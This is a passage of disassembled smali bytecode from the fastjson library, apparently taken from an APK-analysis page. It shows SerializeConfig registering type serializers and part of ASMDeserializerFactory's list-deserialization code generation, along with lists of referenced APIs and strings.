                                                361sget-object p2, Lcom/alibaba/fastjson/serializer/AwtCodec;->instance:Lcom/alibaba/fastjson/serializer/AwtCodec;
                                                363invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                365const-string p1, "java.awt.Rectangle"
                                                367invoke-static {p1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                368move-result-object p1
                                                370sget-object p2, Lcom/alibaba/fastjson/serializer/AwtCodec;->instance:Lcom/alibaba/fastjson/serializer/AwtCodec;
                                                372invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                373try_end_213: goto/16 :goto_216
                                                374catchall_214: sput-boolean v2, Lcom/alibaba/fastjson/serializer/SerializeConfig;->awtError:Z
                                                375cond_216:
                                                376sget-object p1, Lcom/alibaba/fastjson/serializer/AwtCodec;->instance:Lcom/alibaba/fastjson/serializer/AwtCodec;
                                                377return-object p1
                                                378cond_219: sget-boolean v1, Lcom/alibaba/fastjson/serializer/SerializeConfig;->jdk8Error:Z
                                                379if-nez v1, :cond_2dd
                                                381const-string v1, "java.time."
                                                383invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                384move-result v1
                                                386const-string v3, "java.util.Optional"
                                                387if-nez v1, :cond_22d
                                                389invoke-virtual {v0, v3}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                390move-result v1
                                                391if-eqz v1, :cond_2dd
                                                392cond_22d:
                                                393const-string v1, "java.time.LocalDateTime"
                                                395invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                396move-result-object v1
                                                398sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                400invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                402const-string v1, "java.time.LocalDate"
                                                404invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                405move-result-object v1
                                                407sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                409invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                411const-string v1, "java.time.LocalTime"
                                                413invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                414move-result-object v1
                                                416sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                418invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                420const-string v1, "java.time.ZonedDateTime"
                                                422invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                423move-result-object v1
                                                425sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                427invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                429const-string v1, "java.time.OffsetDateTime"
                                                431invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                432move-result-object v1
                                                434sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                436invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                438const-string v1, "java.time.OffsetTime"
                                                440invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                441move-result-object v1
                                                443sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                445invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                447const-string v1, "java.time.ZoneOffset"
                                                449invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                450move-result-object v1
                                                452sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                454invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                456const-string v1, "java.time.ZoneRegion"
                                                458invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                459move-result-object v1
                                                461sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                463invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                465const-string v1, "java.time.Period"
                                                467invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                468move-result-object v1
                                                470sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                472invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                474const-string v1, "java.time.Duration"
                                                476invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                477move-result-object v1
                                                479sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                481invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                483const-string v1, "java.time.Instant"
                                                485invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                486move-result-object v1
                                                488sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/Jdk8DateCodec;
                                                490invoke-virtual {p0, v1, v4}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                492invoke-static {v3}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                493move-result-object v1
                                                495sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;
                                                497invoke-virtual {p0, v1, v3}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                499const-string v1, "java.util.OptionalDouble"
                                                501invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                502move-result-object v1
                                                504sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;
                                                506invoke-virtual {p0, v1, v3}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                508const-string v1, "java.util.OptionalInt"
                                                510invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                511move-result-object v1
                                                513sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;
                                                515invoke-virtual {p0, v1, v3}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                517const-string v1, "java.util.OptionalLong"
                                                519invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                520move-result-object v1
                                                522sget-object v3, Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;->instance:Lcom/alibaba/fastjson/parser/deserializer/OptionalCodec;
                                                524invoke-virtual {p0, v1, v3}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                526iget-object v1, p0, Lcom/alibaba/fastjson/serializer/SerializeConfig;->serializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                528invoke-virtual {v1, p1}, Lcom/alibaba/fastjson/util/IdentityHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                529move-result-object v1
                                                530check-cast v1, Lcom/alibaba/fastjson/serializer/ObjectSerializer;
                                                531try_end_2d8: if-eqz v1, :cond_2dd
                                                532return-object v1
                                                533catchall_2db: sput-boolean v2, Lcom/alibaba/fastjson/serializer/SerializeConfig;->jdk8Error:Z
                                                534cond_2dd: sget-boolean v1, Lcom/alibaba/fastjson/serializer/SerializeConfig;->oracleJdbcError:Z
                                                535if-nez v1, :cond_30c
                                                537const-string v1, "oracle.sql."
                                                539invoke-virtual {v0, v1}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
                                                540move-result v1
                                                541if-eqz v1, :cond_30c
                                                542try_start_2e9:
                                                543const-string v1, "oracle.sql.DATE"
                                                545invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                546move-result-object v1
                                                548sget-object v3, Lcom/alibaba/fastjson/serializer/DateCodec;->instance:Lcom/alibaba/fastjson/serializer/DateCodec;
                                                550invoke-virtual {p0, v1, v3}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                552const-string v1, "oracle.sql.TIMESTAMP"
                                                554invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                555move-result-object v1
                                                557sget-object v3, Lcom/alibaba/fastjson/serializer/DateCodec;->instance:Lcom/alibaba/fastjson/serializer/DateCodec;
                                                559invoke-virtual {p0, v1, v3}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                561iget-object v1, p0, Lcom/alibaba/fastjson/serializer/SerializeConfig;->serializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                563invoke-virtual {v1, p1}, Lcom/alibaba/fastjson/util/IdentityHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                564move-result-object v1
                                                565check-cast v1, Lcom/alibaba/fastjson/serializer/ObjectSerializer;
                                                566try_end_307: if-eqz v1, :cond_30c
                                                567return-object v1
                                                568catchall_30a: sput-boolean v2, Lcom/alibaba/fastjson/serializer/SerializeConfig;->oracleJdbcError:Z
                                                569cond_30c: sget-boolean v1, Lcom/alibaba/fastjson/serializer/SerializeConfig;->springfoxError:Z
                                                570if-nez v1, :cond_32e
                                                572const-string v1, "springfox.documentation.spring.web.json.Json"
                                                574invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                575move-result v0
                                                576if-eqz v0, :cond_32e
                                                577try_start_318:
                                                578invoke-static {v1}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                579move-result-object v0
                                                581sget-object v1, Lcom/alibaba/fastjson/support/springfox/SwaggerJsonSerializer;->instance:Lcom/alibaba/fastjson/support/springfox/SwaggerJsonSerializer;
                                                583invoke-virtual {p0, v0, v1}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                585iget-object v0, p0, Lcom/alibaba/fastjson/serializer/SerializeConfig;->serializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                587invoke-virtual {v0, p1}, Lcom/alibaba/fastjson/util/IdentityHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                588move-result-object v0
                                                589check-cast v0, Lcom/alibaba/fastjson/serializer/ObjectSerializer;
                                                590try_end_329: if-eqz v0, :cond_32e
                                                591return-object v0
                                                592catch_32c: sput-boolean v2, Lcom/alibaba/fastjson/serializer/SerializeConfig;->springfoxError:Z
                                                593cond_32e:
                                                594invoke-static {p1}, Lcom/alibaba/fastjson/util/TypeUtils;->isProxy(Ljava/lang/Class;)Z
                                                595move-result v0
                                                596if-eqz v0, :cond_340
                                                598invoke-virtual {p1}, Ljava/lang/Class;->getSuperclass()Ljava/lang/Class;
                                                599move-result-object p2
                                                601invoke-virtual {p0, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->getObjectWriter(Ljava/lang/Class;)Lcom/alibaba/fastjson/serializer/ObjectSerializer;
                                                602move-result-object p2
                                                604invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                605return-object p2
                                                606cond_340: if-eqz p2, :cond_355
                                                608invoke-direct {p0, p1}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->createJavaBeanSerializer(Ljava/lang/Class;)Lcom/alibaba/fastjson/serializer/ObjectSerializer;
                                                609move-result-object p2
                                                611invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                612goto/16 :goto_355
                                                613goto_34a:
                                                614sget-object p2, Lcom/alibaba/fastjson/serializer/CalendarCodec;->instance:Lcom/alibaba/fastjson/serializer/CalendarCodec;
                                                616invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                617goto/16 :goto_355
                                                618cond_350:
                                                619sget-object p2, Lcom/alibaba/fastjson/serializer/EnumSerializer;->instance:Lcom/alibaba/fastjson/serializer/EnumSerializer;
                                                621invoke-virtual {p0, p1, p2}, Lcom/alibaba/fastjson/serializer/SerializeConfig;->put(Ljava/lang/reflect/Type;Lcom/alibaba/fastjson/serializer/ObjectSerializer;)Z
                                                622cond_355:
                                                623iget-object p2, p0, Lcom/alibaba/fastjson/serializer/SerializeConfig;->serializers:Lcom/alibaba/fastjson/util/IdentityHashMap;
                                                625invoke-virtual {p2, p1}, Lcom/alibaba/fastjson/util/IdentityHashMap;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                626move-result-object p1
                                                627move-object v0, p1
                                                628check-cast v0, Lcom/alibaba/fastjson/serializer/ObjectSerializer;
                                                629cond_35e: return-object v0
                                                Cross References
                                                APIs
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isInterface
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Class.isInterface
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                • java.lang.StringBuilder.<init>
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.append
                                                • java.lang.StringBuilder.toString
                                                • java.lang.Integer.valueOf
                                                Strings
                                                • matchField
                                                • ([C)Z
                                                • lexer
                                                • token
                                                • ()I
                                                • (I)V
                                                • nextToken
                                                • _asm
                                                • java/lang/Integer
                                                • valueOf
                                                • (I)Ljava/lang/Integer;
                                                • (L
                                                • ;Ljava/lang/reflect/Type;Ljava/lang/Object;)Ljava/lang/Object;
                                                • deserialze
                                                • list_item_value
                                                • add
                                                • (Ljava/lang/Object;)Z
                                                • getFastMatchToken
                                                • fastMatchToken
                                                • ()
                                                • getContext
                                                • listContext
                                                • (Ljava/lang/Object;Ljava/lang/Object;)
                                                • setContext
                                                • i
                                                • _asm_list_item_deser__
                                                • checkListResolve
                                                • (Ljava/util/Collection;)V
                                                • (
                                                • )V
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"(",
                                                3"Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;",
                                                4"Lcom/alibaba/fastjson/asm/MethodVisitor;",
                                                5"Lcom/alibaba/fastjson/asm/Label;",
                                                6"Lcom/alibaba/fastjson/util/FieldInfo;",
                                                7"Ljava/lang/Class<",
                                                8"*>;",
                                                9"Ljava/lang/Class<",
                                                10"*>;I)V"
                                                11}
                                                12.end annotation
                                                13move-object/from16 v0, p0
                                                14move-object/from16 v1, p1
                                                15move-object/from16 v2, p2
                                                16move-object/from16 v3, p3
                                                17move-object/from16 v4, p4
                                                18move-object/from16 v5, p5
                                                19move-object/from16 v6, p6
                                                20move/from16 v7, p7
                                                21new-instance v8, Lcom/alibaba/fastjson/asm/Label;
                                                23invoke-direct {v8}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                25sget-object v9, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                26const/16 v10, 0xb6
                                                28const-string v11, "matchField"
                                                30const-string v12, "([C)Z"
                                                32invoke-interface {v2, v10, v9, v11, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                33const/16 v9, 0x99
                                                35invoke-interface {v2, v9, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                37invoke-direct {v0, v2, v1, v7}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_setFlag(Lcom/alibaba/fastjson/asm/MethodVisitor;Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;I)V
                                                38new-instance v9, Lcom/alibaba/fastjson/asm/Label;
                                                40invoke-direct {v9}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                42const-string v11, "lexer"
                                                44invoke-virtual {v1, v11}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                45move-result v12
                                                46const/16 v13, 0x19
                                                48invoke-interface {v2, v13, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                50sget-object v12, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                52const-string v14, "token"
                                                54const-string v15, "()I"
                                                56invoke-interface {v2, v10, v12, v14, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                57const/16 v12, 0x8
                                                59invoke-static {v12}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                60move-result-object v12
                                                62invoke-interface {v2, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                63const/16 v12, 0xa0
                                                65invoke-interface {v2, v12, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                67invoke-virtual {v1, v11}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                68move-result v12
                                                70invoke-interface {v2, v13, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                71const/16 v12, 0x10
                                                73invoke-static {v12}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                74move-result-object v12
                                                76invoke-interface {v2, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                78sget-object v12, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                80const-string v13, "(I)V"
                                                82const-string v6, "nextToken"
                                                84invoke-interface {v2, v10, v12, v6, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                85const/16 v12, 0xa7
                                                87invoke-interface {v2, v12, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                89invoke-interface {v2, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                90new-instance v9, Lcom/alibaba/fastjson/asm/Label;
                                                92invoke-direct {v9}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                93new-instance v12, Lcom/alibaba/fastjson/asm/Label;
                                                95invoke-direct {v12}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                96new-instance v10, Lcom/alibaba/fastjson/asm/Label;
                                                98invoke-direct {v10}, Lcom/alibaba/fastjson/asm/Label;-><init>()V
                                                99move-object/from16 v16, v8
                                                101invoke-virtual {v1, v11}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                102move-result v8
                                                103const/16 v4, 0x19
                                                105invoke-interface {v2, v4, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                107sget-object v8, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                108const/16 v4, 0xb6
                                                110invoke-interface {v2, v4, v8, v14, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                111const/16 v8, 0x15
                                                113invoke-static {v8}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                114move-result-object v4
                                                116invoke-interface {v2, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                117const/16 v4, 0xa0
                                                119invoke-interface {v2, v4, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                121invoke-virtual {v1, v11}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                122move-result v4
                                                123const/16 v8, 0x19
                                                125invoke-interface {v2, v8, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                126const/16 v4, 0xe
                                                128invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                129move-result-object v4
                                                131invoke-interface {v2, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                133sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                134const/16 v8, 0xb6
                                                136invoke-interface {v2, v8, v4, v6, v13}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                137const/4 v4, 0x1
                                                139invoke-direct {v0, v2, v5, v7, v4}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_newCollection(Lcom/alibaba/fastjson/asm/MethodVisitor;Ljava/lang/Class;IZ)V
                                                140const/16 v4, 0xa7
                                                142invoke-interface {v2, v4, v9}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                144invoke-interface {v2, v12}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLabel(Lcom/alibaba/fastjson/asm/Label;)V
                                                146invoke-virtual {v1, v11}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                147move-result v4
                                                148const/16 v12, 0x19
                                                150invoke-interface {v2, v12, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                152sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                154invoke-interface {v2, v8, v4, v14, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                155const/16 v4, 0xe
                                                157invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                158move-result-object v4
                                                160invoke-interface {v2, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                161const/16 v4, 0x9f
                                                163invoke-interface {v2, v4, v10}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                165invoke-virtual {v1, v11}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory$Context;->var(Ljava/lang/String;)I
                                                166move-result v4
                                                168invoke-interface {v2, v12, v4}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitVarInsn(II)V
                                                170sget-object v4, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->JSONLexerBase:Ljava/lang/String;
                                                172invoke-interface {v2, v8, v4, v14, v15}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitMethodInsn(ILjava/lang/String;Ljava/lang/String;Ljava/lang/String;)V
                                                173const/16 v4, 0xc
                                                175invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                                                176move-result-object v8
                                                178invoke-interface {v2, v8}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitLdcInsn(Ljava/lang/Object;)V
                                                179const/16 v12, 0xa0
                                                181invoke-interface {v2, v12, v3}, Lcom/alibaba/fastjson/asm/MethodVisitor;->visitJumpInsn(ILcom/alibaba/fastjson/asm/Label;)V
                                                182const/4 v12, 0x0
                                                184invoke-direct {v0, v2, v5, v7, v12}, Lcom/alibaba/fastjson/parser/deserializer/ASMDeserializerFactory;->_newCollection(Lcom/alibaba/fastjson/asm/MethodVisitor;Ljava/lang/Class;IZ)V
                                                185new-instance v12, Ljava/lang/StringBuilder;
                                                187invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V
                                                188move-object/from16 v4, p4
                                                189move-object/from16 v17, v6
                                                191iget-object v6, v4, Lcom/alibaba/fastjson/util/FieldInfo;->name:Ljava/lang/String;
                                                193invoke-virtual {v12, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                195const-string v6, "_asm"
